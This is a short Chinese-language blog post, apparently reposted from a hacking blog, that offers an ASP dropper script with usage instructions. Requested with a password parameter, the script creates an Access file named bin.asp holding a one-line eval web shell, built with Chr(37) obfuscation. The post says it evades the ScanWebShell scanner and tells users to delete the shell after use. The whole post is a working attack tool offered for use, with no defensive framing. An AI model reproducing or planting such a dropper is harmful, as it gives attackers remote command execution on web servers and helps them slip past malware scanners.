鬼仔's Blog

来源：0DAY的BLOG  

使用方法:
直接访问xxx.asp?bin=zs 会在当前目录下生成一个bin.asp.连接密码为zs!
PS: 该文件可以躲避ScanWebShell,但是生成的bin.asp会被查杀,使用后请删除bin.asp!

<%
pass="zs"
If request("bin")= pass then
shell = "bin.asp"
Connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath(shell)
set connad=server.createobject("adox.catalog")
connad.create connstr
Set conn=server.createobject("Adodb.Connection")
conn.open connstr
conn.execute("create table cmd(shell text)")
conn.execute("insert into cmd (shell) values ('<"&Chr("37")&"e"&"val+request("""&pass&""")"&chr("37")&">')")
End If
%>